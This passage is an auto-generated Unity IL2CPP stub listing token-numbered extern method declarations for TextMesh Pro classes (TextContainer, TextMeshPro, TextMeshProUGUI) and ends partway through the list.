// 0x0000002A System.Int32 TMPro.MaterialReference::AddMaterialReference(UnityEngine.Material,TMPro.TMP_FontAsset,TMPro.MaterialReference[]&,System.Collections.Generic.Dictionary`2<System.Int32,System.Int32>)
extern void MaterialReference_AddMaterialReference_mF45CD1DDCDDE1CF1BEC4A918E955C315F3391331 (void);
// 0x0000002B System.Int32 TMPro.MaterialReference::AddMaterialReference(UnityEngine.Material,TMPro.TMP_SpriteAsset,TMPro.MaterialReference[]&,System.Collections.Generic.Dictionary`2<System.Int32,System.Int32>)
extern void MaterialReference_AddMaterialReference_m8AC5FD98857709F7952CD1909D56EBB550C9101A (void);
// 0x0000002C System.Boolean TMPro.TextContainer::get_hasChanged()
extern void TextContainer_get_hasChanged_m8DF8FF327827736E4729E37C1521F035B413C5F7 (void);
// 0x0000002D System.Void TMPro.TextContainer::set_hasChanged(System.Boolean)
extern void TextContainer_set_hasChanged_mABA40DFD4EEC897F4A56B69CBB7A488D721C12DD (void);
// 0x0000002E UnityEngine.Vector2 TMPro.TextContainer::get_pivot()
extern void TextContainer_get_pivot_mABB55AD58B05D35BB0EB844B8CA9A837E4C95921 (void);
// 0x0000002F System.Void TMPro.TextContainer::set_pivot(UnityEngine.Vector2)
extern void TextContainer_set_pivot_mA8B07A0D65AB363D46CD27E42320059E8DA52EE5 (void);
// 0x00000030 TMPro.TextContainerAnchors TMPro.TextContainer::get_anchorPosition()
extern void TextContainer_get_anchorPosition_m78B62F2ECB901D8B611131A213DEEF972790D1F7 (void);
// 0x00000031 System.Void TMPro.TextContainer::set_anchorPosition(TMPro.TextContainerAnchors)
extern void TextContainer_set_anchorPosition_mA915529616A0B4679FAAA6183FC194597E03EA50 (void);
// 0x00000032 UnityEngine.Rect TMPro.TextContainer::get_rect()
extern void TextContainer_get_rect_m94D2400B7559ED8BD076F74B7AEB1CFF5ADDB6B5 (void);
// 0x00000033 System.Void TMPro.TextContainer::set_rect(UnityEngine.Rect)
extern void TextContainer_set_rect_m1D085EDA4A56F1B94CE17F373787634403015B77 (void);
// 0x00000034 UnityEngine.Vector2 TMPro.TextContainer::get_size()
extern void TextContainer_get_size_m0B22BF2C6CF43C2424C2864B87707D00E29B259B (void);
// 0x00000035 System.Void TMPro.TextContainer::set_size(UnityEngine.Vector2)
extern void TextContainer_set_size_m06C432F3136FCD30566702A5198587E4BE555A5C (void);
// 0x00000036 System.Single TMPro.TextContainer::get_width()
extern void TextContainer_get_width_mF4A385D6C76E375D1838E3586DFB0C7868508C1B (void);
// 0x00000037 System.Void TMPro.TextContainer::set_width(System.Single)
extern void TextContainer_set_width_m6CCE1D33F804A90F452CF4E6F5E72E14FB040BCE (void);
// 0x00000038 System.Single TMPro.TextContainer::get_height()
extern void TextContainer_get_height_mF3302A1C468D314D85FE24DD4D09754232027C20 (void);
// 0x00000039 System.Void TMPro.TextContainer::set_height(System.Single)
extern void TextContainer_set_height_mF4164F3ED8244480E64B7837B310B30388EEE6CD (void);
// 0x0000003A System.Boolean TMPro.TextContainer::get_isDefaultWidth()
extern void TextContainer_get_isDefaultWidth_mC93E766339878C17E406E69A43EC9E0D6A7982C6 (void);
// 0x0000003B System.Boolean TMPro.TextContainer::get_isDefaultHeight()
extern void TextContainer_get_isDefaultHeight_m3F66ACBFC5980F5CF466775067B1D38E55F208C6 (void);
// 0x0000003C System.Boolean TMPro.TextContainer::get_isAutoFitting()
extern void TextContainer_get_isAutoFitting_mDFC6D0A44C286CAD6DC53B5A7B6F6E38E1339382 (void);
// 0x0000003D System.Void TMPro.TextContainer::set_isAutoFitting(System.Boolean)
extern void TextContainer_set_isAutoFitting_m3A9144590137287255F159FC93A1EAAD96B8141F (void);
// 0x0000003E UnityEngine.Vector3[] TMPro.TextContainer::get_corners()
extern void TextContainer_get_corners_mA9378A1DDF7C54BA2934885C9A21C71F8F778754 (void);
// 0x0000003F UnityEngine.Vector3[] TMPro.TextContainer::get_worldCorners()
extern void TextContainer_get_worldCorners_m608A9D2C48FABA9361C0030238101F8121E98B12 (void);
// 0x00000040 UnityEngine.Vector4 TMPro.TextContainer::get_margins()
extern void TextContainer_get_margins_mF4A4340460B6A5A271534AB50CA17026236E071A (void);
// 0x00000041 System.Void TMPro.TextContainer::set_margins(UnityEngine.Vector4)
extern void TextContainer_set_margins_mC6A8F2814430CA0AAFF7985A27B4870AF736379B (void);
// 0x00000042 UnityEngine.RectTransform TMPro.TextContainer::get_rectTransform()
extern void TextContainer_get_rectTransform_mA715878DE6F7CB581CA2D82DA13FBC1A0BA14B5D (void);
// 0x00000043 TMPro.TextMeshPro TMPro.TextContainer::get_textMeshPro()
extern void TextContainer_get_textMeshPro_m7FE78F97AF1550A7667BB6ED9BCF20DCCC3166A1 (void);
// 0x00000044 System.Void TMPro.TextContainer::Awake()
extern void TextContainer_Awake_m450AB495666750B5B2B9C20639C44C894F179B95 (void);
// 0x00000045 System.Void TMPro.TextContainer::OnEnable()
extern void TextContainer_OnEnable_mCB79CBA590B19D04274F74819286BD9A6E73EAA7 (void);
// 0x00000046 System.Void TMPro.TextContainer::OnDisable()
extern void TextContainer_OnDisable_m7A822FF8139DF70D91292638C7C737C647F5DEEB (void);
// 0x00000047 System.Void TMPro.TextContainer::OnContainerChanged()
extern void TextContainer_OnContainerChanged_mCC9F83EC6FF3262388F26E17DA1C900ECE6156C0 (void);
// 0x00000048 System.Void TMPro.TextContainer::OnRectTransformDimensionsChange()
extern void TextContainer_OnRectTransformDimensionsChange_mA9D29C6BAE685CE4C19365B0371E180365FAFAD4 (void);
// 0x00000049 System.Void TMPro.TextContainer::SetRect(UnityEngine.Vector2)
extern void TextContainer_SetRect_mC61B8DA58B65D1D7EBE48F78E7AB80CD1FE34B87 (void);
// 0x0000004A System.Void TMPro.TextContainer::UpdateCorners()
extern void TextContainer_UpdateCorners_m3223B7904DD32545705F9B24FA52E13F8F198026 (void);
// 0x0000004B UnityEngine.Vector2 TMPro.TextContainer::GetPivot(TMPro.TextContainerAnchors)
extern void TextContainer_GetPivot_m2AF9923059C0EDA822C235ABE88D11A86A9DC16D (void);
// 0x0000004C TMPro.TextContainerAnchors TMPro.TextContainer::GetAnchorPosition(UnityEngine.Vector2)
extern void TextContainer_GetAnchorPosition_mEB7F12AEDB37EC48501719D685FFC55B6998E2D8 (void);
// 0x0000004D System.Void TMPro.TextContainer::.ctor()
extern void TextContainer__ctor_m31365F9C21AADAA5C2407613762F313663B62735 (void);
// 0x0000004E System.Void TMPro.TextContainer::.cctor()
extern void TextContainer__cctor_mD63F260799545A3AC56E52AD5DA29EB2026DD19C (void);
// 0x0000004F System.Int32 TMPro.TextMeshPro::get_sortingLayerID()
extern void TextMeshPro_get_sortingLayerID_m246B079B5004616673509A12006E1D46CE8F7DB5 (void);
// 0x00000050 System.Void TMPro.TextMeshPro::set_sortingLayerID(System.Int32)
extern void TextMeshPro_set_sortingLayerID_m4AFD807EC0960BE45C271C7F6B813884E27F98AC (void);
// 0x00000051 System.Int32 TMPro.TextMeshPro::get_sortingOrder()
extern void TextMeshPro_get_sortingOrder_m8E5894C4390F4FDC0C7374C7EABAF96D37F0E089 (void);
// 0x00000052 System.Void TMPro.TextMeshPro::set_sortingOrder(System.Int32)
extern void TextMeshPro_set_sortingOrder_mF4E75E33617F04E98CB5C529E0FB1E97D7473715 (void);
// 0x00000053 System.Boolean TMPro.TextMeshPro::get_autoSizeTextContainer()
extern void TextMeshPro_get_autoSizeTextContainer_m92B636FDA452908D3752AA3DAACA7B5BDD81E73C (void);
// 0x00000054 System.Void TMPro.TextMeshPro::set_autoSizeTextContainer(System.Boolean)
extern void TextMeshPro_set_autoSizeTextContainer_m02CA26428A5BC9A4F5053C389560320DADECCA53 (void);
// 0x00000055 TMPro.TextContainer TMPro.TextMeshPro::get_textContainer()
extern void TextMeshPro_get_textContainer_m9ADA73A2523843F13F731E47A0CE7E0EFB3BF771 (void);
// 0x00000056 UnityEngine.Transform TMPro.TextMeshPro::get_transform()
extern void TextMeshPro_get_transform_m750148EC362B176A0E80D6F4ABAC1062E5281E11 (void);
// 0x00000057 UnityEngine.Renderer TMPro.TextMeshPro::get_renderer()
extern void TextMeshPro_get_renderer_m2E657DD550DAB1C896B1D8955AE08F84FB9FE78E (void);
// 0x00000058 UnityEngine.Mesh TMPro.TextMeshPro::get_mesh()
extern void TextMeshPro_get_mesh_m848BFE512069747B47E7FEF2EDFB6F6BF56A6F87 (void);
// 0x00000059 UnityEngine.MeshFilter TMPro.TextMeshPro::get_meshFilter()
extern void TextMeshPro_get_meshFilter_m6A15037A8B675F9FB89F91A454DE6F49FE34A865 (void);
// 0x0000005A TMPro.MaskingTypes TMPro.TextMeshPro::get_maskType()
extern void TextMeshPro_get_maskType_mF1F98A216FDBE60BACABA283E32D4F9D4D884E04 (void);
// 0x0000005B System.Void TMPro.TextMeshPro::set_maskType(TMPro.MaskingTypes)
extern void TextMeshPro_set_maskType_m218BA91F0BDEEAB2495D8A24BE494C29040F8AD5 (void);
// 0x0000005C System.Void TMPro.TextMeshPro::SetMask(TMPro.MaskingTypes,UnityEngine.Vector4)
extern void TextMeshPro_SetMask_m6F20ECB1EE60267C66C29C2BE2A4E8297023E10B (void);
// 0x0000005D System.Void TMPro.TextMeshPro::SetMask(TMPro.MaskingTypes,UnityEngine.Vector4,System.Single,System.Single)
extern void TextMeshPro_SetMask_mCD7144AD14B1E578DAC7062F1C4AFE3F91F097DB (void);
// 0x0000005E System.Void TMPro.TextMeshPro::SetVerticesDirty()
extern void TextMeshPro_SetVerticesDirty_mFF321A7A3250A1983437B651C6B08CA6C238E295 (void);
// 0x0000005F System.Void TMPro.TextMeshPro::SetLayoutDirty()
extern void TextMeshPro_SetLayoutDirty_mBB2707E3FB406BA91AE3CCF34300E4BD0EF13935 (void);
// 0x00000060 System.Void TMPro.TextMeshPro::SetMaterialDirty()
extern void TextMeshPro_SetMaterialDirty_m94E7469E10AE410A7E13BDAA52B635B886D2BF14 (void);
// 0x00000061 System.Void TMPro.TextMeshPro::SetAllDirty()
extern void TextMeshPro_SetAllDirty_mCA57F3D9977D6691FEAE9B42EC93188D665F9C45 (void);
// 0x00000062 System.Void TMPro.TextMeshPro::Rebuild(UnityEngine.UI.CanvasUpdate)
extern void TextMeshPro_Rebuild_mF51AAF8F7475EDDD27EF62BE70C71E250C810CAC (void);
// 0x00000063 System.Void TMPro.TextMeshPro::UpdateMaterial()
extern void TextMeshPro_UpdateMaterial_m5D5307EC06A3B37A7638B8474A89ACA8F59ED8AD (void);
// 0x00000064 System.Void TMPro.TextMeshPro::UpdateMeshPadding()
extern void TextMeshPro_UpdateMeshPadding_mD4CCF7EA6D5E6EC61BC530EEA4C8A722DF21887C (void);
// 0x00000065 System.Void TMPro.TextMeshPro::ForceMeshUpdate(System.Boolean,System.Boolean)
extern void TextMeshPro_ForceMeshUpdate_mA8196630B76CD7E10CD0CECD0E4ED263006EDF51 (void);
// 0x00000066 TMPro.TMP_TextInfo TMPro.TextMeshPro::GetTextInfo(System.String)
extern void TextMeshPro_GetTextInfo_m48DFA3AF6030E06CDCF41002C129A945DC1DC594 (void);
// 0x00000067 System.Void TMPro.TextMeshPro::ClearMesh(System.Boolean)
extern void TextMeshPro_ClearMesh_mD868C52676C08B2044509DB25E53500797C3E1EB (void);
// 0x00000068 System.Void TMPro.TextMeshPro::add_OnPreRenderText(System.Action`1<TMPro.TMP_TextInfo>)
extern void TextMeshPro_add_OnPreRenderText_m095FA48218C2A8F8ACB5673DF77EADCFFB2B8F75 (void);
// 0x00000069 System.Void TMPro.TextMeshPro::remove_OnPreRenderText(System.Action`1<TMPro.TMP_TextInfo>)
extern void TextMeshPro_remove_OnPreRenderText_m832796A813128E6641DB46677DA21BFCF05D2E55 (void);
// 0x0000006A System.Void TMPro.TextMeshPro::UpdateGeometry(UnityEngine.Mesh,System.Int32)
extern void TextMeshPro_UpdateGeometry_m07DBFC391FC1B0D663AF1D42BCEA4FE0FDAE96E9 (void);
// 0x0000006B System.Void TMPro.TextMeshPro::UpdateVertexData(TMPro.TMP_VertexDataUpdateFlags)
extern void TextMeshPro_UpdateVertexData_mA83AC36F27C0D3A7977BE1E108F3A0763A32414C (void);
// 0x0000006C System.Void TMPro.TextMeshPro::UpdateVertexData()
extern void TextMeshPro_UpdateVertexData_mA9E7A74B6EB347CFD3D351C1AC5406A0F29ACEC7 (void);
// 0x0000006D System.Void TMPro.TextMeshPro::UpdateFontAsset()
extern void TextMeshPro_UpdateFontAsset_mE940EA22C479BF14F099BDC5F9E89EEFEC59260F (void);
// 0x0000006E System.Void TMPro.TextMeshPro::CalculateLayoutInputHorizontal()
extern void TextMeshPro_CalculateLayoutInputHorizontal_m831878E1B35FA9625FC0E4D4FA94AB1D8417E7F0 (void);
// 0x0000006F System.Void TMPro.TextMeshPro::CalculateLayoutInputVertical()
extern void TextMeshPro_CalculateLayoutInputVertical_m9272D3BADA4804CF676D43F60B3758ED1EDDF510 (void);
// 0x00000070 System.Void TMPro.TextMeshPro::Awake()
extern void TextMeshPro_Awake_mB6744F75E7577F7A8EC8DC7277C2D98B855875B9 (void);
// 0x00000071 System.Void TMPro.TextMeshPro::OnEnable()
extern void TextMeshPro_OnEnable_m3E687CB93295674CBAD2CF98C10D048451181690 (void);
// 0x00000072 System.Void TMPro.TextMeshPro::OnDisable()
extern void TextMeshPro_OnDisable_m97F173D468229C917EC3A1B1D1A562D60C17C80E (void);
// 0x00000073 System.Void TMPro.TextMeshPro::OnDestroy()
extern void TextMeshPro_OnDestroy_m85DA8AE90BB8E3A852CA4E4B6BF6676BC8F4617C (void);
// 0x00000074 System.Void TMPro.TextMeshPro::LoadFontAsset()
extern void TextMeshPro_LoadFontAsset_m9FC6839F4EDA45629776E483BD4F121C5108F9DD (void);
// 0x00000075 System.Void TMPro.TextMeshPro::UpdateEnvMapMatrix()
extern void TextMeshPro_UpdateEnvMapMatrix_m85ECB9C9F9BE379982CE64FC814A36B338060E1F (void);
// 0x00000076 System.Void TMPro.TextMeshPro::SetMask(TMPro.MaskingTypes)
extern void TextMeshPro_SetMask_m88A4C3AB9A50C4A54E20030E6C13899A01CF8443 (void);
// 0x00000077 System.Void TMPro.TextMeshPro::SetMaskCoordinates(UnityEngine.Vector4)
extern void TextMeshPro_SetMaskCoordinates_m892E763E92E5E5DED0EC610A16A4FCCDD447F40D (void);
// 0x00000078 System.Void TMPro.TextMeshPro::SetMaskCoordinates(UnityEngine.Vector4,System.Single,System.Single)
extern void TextMeshPro_SetMaskCoordinates_m7CB4750ABC78278B40DE77342ABD2D02D9F931BC (void);
// 0x00000079 System.Void TMPro.TextMeshPro::EnableMasking()
extern void TextMeshPro_EnableMasking_mAA4AD6CD94E45D033817486638BD4F0ED6B1E056 (void);
// 0x0000007A System.Void TMPro.TextMeshPro::DisableMasking()
extern void TextMeshPro_DisableMasking_m51B9768DECE33C8E84FE0BEC40AC1A872C3A93FE (void);
// 0x0000007B System.Void TMPro.TextMeshPro::UpdateMask()
extern void TextMeshPro_UpdateMask_m0DC0BD7B23520E3980306B01C17D21C2E53FD476 (void);
// 0x0000007C UnityEngine.Material TMPro.TextMeshPro::GetMaterial(UnityEngine.Material)
extern void TextMeshPro_GetMaterial_m7EE039E42CD673DCCF3C7EA8C334842FAB2A358F (void);
// 0x0000007D UnityEngine.Material[] TMPro.TextMeshPro::GetMaterials(UnityEngine.Material[])
extern void TextMeshPro_GetMaterials_m106D2B8EA87AFCEDA5889C3ED9D2173E4521DEAC (void);
// 0x0000007E System.Void TMPro.TextMeshPro::SetSharedMaterial(UnityEngine.Material)
extern void TextMeshPro_SetSharedMaterial_m73380C05E2FF59D1A5C1563541F1340988D2AEC8 (void);
// 0x0000007F UnityEngine.Material[] TMPro.TextMeshPro::GetSharedMaterials()
extern void TextMeshPro_GetSharedMaterials_m9F4B35F7947C0564074B9B3CB36EC70CEAF6FB52 (void);
// 0x00000080 System.Void TMPro.TextMeshPro::SetSharedMaterials(UnityEngine.Material[])
extern void TextMeshPro_SetSharedMaterials_m0FB019F8C55D0A5D5812AD500FC74182F862DCAB (void);
// 0x00000081 System.Void TMPro.TextMeshPro::SetOutlineThickness(System.Single)
extern void TextMeshPro_SetOutlineThickness_mEF32508CB6771185D243E2F04BABA73B9B45226B (void);
// 0x00000082 System.Void TMPro.TextMeshPro::SetFaceColor(UnityEngine.Color32)
extern void TextMeshPro_SetFaceColor_m19E6DB372523664B314BBF8A3B0FA7BBE7C52BF7 (void);
// 0x00000083 System.Void TMPro.TextMeshPro::SetOutlineColor(UnityEngine.Color32)
extern void TextMeshPro_SetOutlineColor_mB71099D9A168FB2956E9983E324DC76ECC5E7C5D (void);
// 0x00000084 System.Void TMPro.TextMeshPro::CreateMaterialInstance()
extern void TextMeshPro_CreateMaterialInstance_m60E579A5964E977F66A0E7C56BB7FA86D1780094 (void);
// 0x00000085 System.Void TMPro.TextMeshPro::SetShaderDepth()
extern void TextMeshPro_SetShaderDepth_mBA26AEBB2FD4040C02A10E74A5CB8CA5697CA781 (void);
// 0x00000086 System.Void TMPro.TextMeshPro::SetCulling()
extern void TextMeshPro_SetCulling_mA51D5BAD4DEA2A00C8AC7388A3277161CBCF1C20 (void);
// 0x00000087 System.Void TMPro.TextMeshPro::SetPerspectiveCorrection()
extern void TextMeshPro_SetPerspectiveCorrection_m6AF6ECDB7FCC9E45F4AC1AF6B0F76EEF1FEDF827 (void);
// 0x00000088 System.Int32 TMPro.TextMeshPro::SetArraySizes(TMPro.TMP_Text/UnicodeChar[])
extern void TextMeshPro_SetArraySizes_mA31A609B7368CFB3D7A42F67DE6F3E450F11D0EC (void);
// 0x00000089 System.Void TMPro.TextMeshPro::ComputeMarginSize()
extern void TextMeshPro_ComputeMarginSize_mF595014F36FD313F4552F91FCCEB32B6CF38275D (void);
// 0x0000008A System.Void TMPro.TextMeshPro::OnDidApplyAnimationProperties()
extern void TextMeshPro_OnDidApplyAnimationProperties_m3951CDAD2B420D110042E6F2E4C8F9DB641AC652 (void);
// 0x0000008B System.Void TMPro.TextMeshPro::OnTransformParentChanged()
extern void TextMeshPro_OnTransformParentChanged_m13B32E506A0BD3041D6024988C029386EF65C82E (void);
// 0x0000008C System.Void TMPro.TextMeshPro::OnRectTransformDimensionsChange()
extern void TextMeshPro_OnRectTransformDimensionsChange_m54E70A1F06C19D4A8CEF6EB8A3A130ACD45F7EB2 (void);
// 0x0000008D System.Void TMPro.TextMeshPro::InternalUpdate()
extern void TextMeshPro_InternalUpdate_mACA7A0E963E587E3678586D0AF79A14EF7D65A20 (void);
// 0x0000008E System.Void TMPro.TextMeshPro::OnPreRenderObject()
extern void TextMeshPro_OnPreRenderObject_mEDEAC1CC6D8C7AFEA948F713910E910F8FE301C1 (void);
// 0x0000008F System.Void TMPro.TextMeshPro::GenerateTextMesh()
extern void TextMeshPro_GenerateTextMesh_m92A3D91D20D8BB4E46C2E9E305EE4207B1B2A1DD (void);
// 0x00000090 UnityEngine.Vector3[] TMPro.TextMeshPro::GetTextContainerLocalCorners()
extern void TextMeshPro_GetTextContainerLocalCorners_m28DCECBF011AEEE457382B1ACF989366B7E51844 (void);
// 0x00000091 System.Void TMPro.TextMeshPro::SetMeshFilters(System.Boolean)
extern void TextMeshPro_SetMeshFilters_m8F9CE41507555B248CBB176E3E19B905AF497BAB (void);
// 0x00000092 System.Void TMPro.TextMeshPro::SetActiveSubMeshes(System.Boolean)
extern void TextMeshPro_SetActiveSubMeshes_mD13EDA99249DB1756900267DFD6A3D1D72FBADAA (void);
// 0x00000093 System.Void TMPro.TextMeshPro::SetActiveSubTextObjectRenderers(System.Boolean)
extern void TextMeshPro_SetActiveSubTextObjectRenderers_m84A606F6A82904D9EB5F92DAB05E1D7AF725CB6A (void);
// 0x00000094 System.Void TMPro.TextMeshPro::DestroySubMeshObjects()
extern void TextMeshPro_DestroySubMeshObjects_mD556C6CAB0FD455BC8BE7390BEEAF6C39B0873DE (void);
// 0x00000095 System.Void TMPro.TextMeshPro::UpdateSubMeshSortingLayerID(System.Int32)
extern void TextMeshPro_UpdateSubMeshSortingLayerID_m63C46E43CFC2E1FEE48D6B48170DF3267E4BDF11 (void);
// 0x00000096 System.Void TMPro.TextMeshPro::UpdateSubMeshSortingOrder(System.Int32)
extern void TextMeshPro_UpdateSubMeshSortingOrder_mDD41BBD341BA493B30022CC8930025BEB85070EC (void);
// 0x00000097 UnityEngine.Bounds TMPro.TextMeshPro::GetCompoundBounds()
extern void TextMeshPro_GetCompoundBounds_m260ABC99A7A361F587BA40E99CE77B0F4402DFA9 (void);
// 0x00000098 System.Void TMPro.TextMeshPro::UpdateSDFScale(System.Single)
extern void TextMeshPro_UpdateSDFScale_m83845259E62DB13544143A11EF2089E03BE0D96C (void);
// 0x00000099 System.Void TMPro.TextMeshPro::.ctor()
extern void TextMeshPro__ctor_mF12CEBF1FB86BE922890B59AD288B3F3BFC4AB0A (void);
// 0x0000009A System.Void TMPro.TextMeshPro::.cctor()
extern void TextMeshPro__cctor_mB615DB9E50DAD037CA84B26C1851F35C827067B1 (void);
// 0x0000009B UnityEngine.Material TMPro.TextMeshProUGUI::get_materialForRendering()
extern void TextMeshProUGUI_get_materialForRendering_mCB8AB4D6211E94B4A910E547A435BEDC8B5AA483 (void);
// 0x0000009C System.Boolean TMPro.TextMeshProUGUI::get_autoSizeTextContainer()
extern void TextMeshProUGUI_get_autoSizeTextContainer_mFB1F26E61C6D873940BE188D1E8B8C35324237C2 (void);
// 0x0000009D System.Void TMPro.TextMeshProUGUI::set_autoSizeTextContainer(System.Boolean)
extern void TextMeshProUGUI_set_autoSizeTextContainer_m2E04DBDF79EF2A70A84DC27204410F642A8F7E57 (void);
// 0x0000009E UnityEngine.Mesh TMPro.TextMeshProUGUI::get_mesh()
extern void TextMeshProUGUI_get_mesh_m9D7580B03E695D83EE9A7DB4B63CE0C570B4F404 (void);
// 0x0000009F UnityEngine.CanvasRenderer TMPro.TextMeshProUGUI::get_canvasRenderer()
extern void TextMeshProUGUI_get_canvasRenderer_m74291CFD17F47B70F21F49C93058D2756A521887 (void);
// 0x000000A0 System.Void TMPro.TextMeshProUGUI::CalculateLayoutInputHorizontal()
extern void TextMeshProUGUI_CalculateLayoutInputHorizontal_m96BF3C6C61F9B47F1C984A85921266E188151198 (void);
// 0x000000A1 System.Void TMPro.TextMeshProUGUI::CalculateLayoutInputVertical()
extern void TextMeshProUGUI_CalculateLayoutInputVertical_m478DA445BEBEFD266F26B53B172A415F11EA0D4E (void);
// 0x000000A2 System.Void TMPro.TextMeshProUGUI::SetVerticesDirty()
extern void TextMeshProUGUI_SetVerticesDirty_m08925B150A0C61A9E62D6312094BEE4F2A085B35 (void);
// 0x000000A3 System.Void TMPro.TextMeshProUGUI::SetLayoutDirty()
extern void TextMeshProUGUI_SetLayoutDirty_m7B98DD726DC1F539A829660218629BDCBC5D6EFE (void);
// 0x000000A4 System.Void TMPro.TextMeshProUGUI::SetMaterialDirty()
extern void TextMeshProUGUI_SetMaterialDirty_m34D20F8ED0CEF3D4F335BA53CDFBA22D3638E24F (void);
// 0x000000A5 System.Void TMPro.TextMeshProUGUI::SetAllDirty()
extern void TextMeshProUGUI_SetAllDirty_mBCABE23045A171B70D7C8AA1E9D0E197B24A9921 (void);
// 0x000000A6 System.Collections.IEnumerator TMPro.TextMeshProUGUI::DelayedGraphicRebuild()
extern void TextMeshProUGUI_DelayedGraphicRebuild_m4FD11E5C4B9F5E1DFE4D361C78CDC849F7D53F8E (void);
// 0x000000A7 System.Collections.IEnumerator TMPro.TextMeshProUGUI::DelayedMaterialRebuild()
extern void TextMeshProUGUI_DelayedMaterialRebuild_m3D156CF49F99C2239E74AEC027473359A715397E (void);
// 0x000000A8 System.Void TMPro.TextMeshProUGUI::Rebuild(UnityEngine.UI.CanvasUpdate)
extern void TextMeshProUGUI_Rebuild_m81A0BB63EF4D157FB9DF14184DF198DAEC24A50D (void);
// 0x000000A9 System.Void TMPro.TextMeshProUGUI::UpdateSubObjectPivot()
extern void TextMeshProUGUI_UpdateSubObjectPivot_mF5A9ADE5A239AFC6C34BFC02FDE622DE14EAAF41 (void);
// 0x000000AA UnityEngine.Material TMPro.TextMeshProUGUI::GetModifiedMaterial(UnityEngine.Material)
extern void TextMeshProUGUI_GetModifiedMaterial_mF485112E8CD8B5466BC6F3F5C9EBB195B9DED181 (void);
// 0x000000AB System.Void TMPro.TextMeshProUGUI::UpdateMaterial()
extern void TextMeshProUGUI_UpdateMaterial_m9342D18203EC31AF43B1F2FD179409825C9E246A (void);
// 0x000000AC UnityEngine.Vector4 TMPro.TextMeshProUGUI::get_maskOffset()
extern void TextMeshProUGUI_get_maskOffset_m8B38AEB61B68ED587044250886FB3C3E6327711E (void);
// 0x000000AD System.Void TMPro.TextMeshProUGUI::set_maskOffset(UnityEngine.Vector4)
extern void TextMeshProUGUI_set_maskOffset_m4556A74663F0603718E533AD6469D5D2062D5814 (void);
// 0x000000AE System.Void TMPro.TextMeshProUGUI::RecalculateClipping()
extern void TextMeshProUGUI_RecalculateClipping_m6D9CD29782F2306FA411BE914F45C6E02D2438BA (void);
// 0x000000AF System.Void TMPro.TextMeshProUGUI::Cull(UnityEngine.Rect,System.Boolean)
extern void TextMeshProUGUI_Cull_m28722BE62117D8666B334C1D98B0FDA31C801297 (void);
// 0x000000B0 System.Void TMPro.TextMeshProUGUI::UpdateCulling()
extern void TextMeshProUGUI_UpdateCulling_mBBCAFB8FF0E605AA916782D723F605C7C5790E0F (void);
// 0x000000B1 System.Void TMPro.TextMeshProUGUI::UpdateMeshPadding()
extern void TextMeshProUGUI_UpdateMeshPadding_mAD9B5590BB1C07BD9F26F9ACF31E3AD7D0375D52 (void);
// 0x000000B2 System.Void TMPro.TextMeshProUGUI::InternalCrossFadeColor(UnityEngine.Color,System.Single,System.Boolean,System.Boolean)
extern void TextMeshProUGUI_InternalCrossFadeColor_mCAC46A6435D3D73F8138A4DF4125AF63D6197E93 (void);
// 0x000000B3 System.Void TMPro.TextMeshProUGUI::InternalCrossFadeAlpha(System.Single,System.Single,System.Boolean)
extern void TextMeshProUGUI_InternalCrossFadeAlpha_m8F1403C1E5A7F3CC52DF054A11189D8E14353C63 (void);
// 0x000000B4 System.Void TMPro.TextMeshProUGUI::ForceMeshUpdate(System.Boolean,System.Boolean)
extern void TextMeshProUGUI_ForceMeshUpdate_mB5BCD2205BC620DC7AC4F00D7F21104D65FB90DE (void);
// 0x000000B5 TMPro.TMP_TextInfo TMPro.TextMeshProUGUI::GetTextInfo(System.String)
extern void TextMeshProUGUI_GetTextInfo_m0DF7D8487C0203268A4C62A67E1C4B7589ACC17E (void);
// 0x000000B6 System.Void TMPro.TextMeshProUGUI::ClearMesh()
extern void TextMeshProUGUI_ClearMesh_mE803C85017AAA2E8F6C47661A7F59078C83D7D73 (void);
// 0x000000B7 System.Void TMPro.TextMeshProUGUI::add_OnPreRenderText(System.Action`1<TMPro.TMP_TextInfo>)
extern void TextMeshProUGUI_add_OnPreRenderText_m1F3D640166C47D5E8AC83392022A7A76F252882D (void);
// 0x000000B8 System.Void TMPro.TextMeshProUGUI::remove_OnPreRenderText(System.Action`1<TMPro.TMP_TextInfo>)
extern void TextMeshProUGUI_remove_OnPreRenderText_m5580AE95B7FCDF054DCB9F30D545CD60B5F40049 (void);
// 0x000000B9 System.Void TMPro.TextMeshProUGUI::UpdateGeometry(UnityEngine.Mesh,System.Int32)
extern void TextMeshProUGUI_UpdateGeometry_m7877CE2E695637CFD480AF6D3A144A96F4B8DEAD (void);
// 0x000000BA System.Void TMPro.TextMeshProUGUI::UpdateVertexData(TMPro.TMP_VertexDataUpdateFlags)
extern void TextMeshProUGUI_UpdateVertexData_mAFE22C7EF036C51A5DABECD97AA3294963B17B8A (void);
// 0x000000BB System.Void TMPro.TextMeshProUGUI::UpdateVertexData()
extern void TextMeshProUGUI_UpdateVertexData_mDCD835F9897D4A1D1C3299F8610E10AAF9693621 (void);
// 0x000000BC System.Void TMPro.TextMeshProUGUI::UpdateFontAsset()
extern void TextMeshProUGUI_UpdateFontAsset_m5A9C9C239F67AD02E0EE52BDDBBCA6B747AD5B3B (void);
// 0x000000BD System.Void TMPro.TextMeshProUGUI::Awake()
extern void TextMeshProUGUI_Awake_mE225DF2C3511625374A16201302F4A8AD2A72B26 (void);
// 0x000000BE System.Void TMPro.TextMeshProUGUI::OnEnable()
extern void TextMeshProUGUI_OnEnable_m192C5020191F6DE0CDFD8D91BB1518496E841E98 (void);
// 0x000000BF System.Void TMPro.TextMeshProUGUI::OnDisable()
extern void TextMeshProUGUI_OnDisable_m55A5E45BD3538FECB646D245F23223C33C9C6CEE (void);
// 0x000000C0 System.Void TMPro.TextMeshProUGUI::OnDestroy()
extern void TextMeshProUGUI_OnDestroy_mF6F5098912944CBAEE8F9162CBC8513B6FCB4DCB (void);
// 0x000000C1 System.Void TMPro.TextMeshProUGUI::LoadFontAsset()
extern void TextMeshProUGUI_LoadFontAsset_mD79574232A722B157F79A7D1430115829107B0D9 (void);
// 0x000000C2 UnityEngine.Canvas TMPro.TextMeshProUGUI::GetCanvas()
extern void TextMeshProUGUI_GetCanvas_mA62DCDC49EF734C76E2DCC33373AE38485267B07 (void);
// 0x000000C3 System.Void TMPro.TextMeshProUGUI::UpdateEnvMapMatrix()
extern void TextMeshProUGUI_UpdateEnvMapMatrix_mBB9F3DBD385A9CF38674F27B1265FEF0214A3BDB (void);
// 0x000000C4 System.Void TMPro.TextMeshProUGUI::EnableMasking()
extern void TextMeshProUGUI_EnableMasking_m825DABEA53C5743CE0B4D896476BCB8B4D23CCA5 (void);
// 0x000000C5 System.Void TMPro.TextMeshProUGUI::DisableMasking()
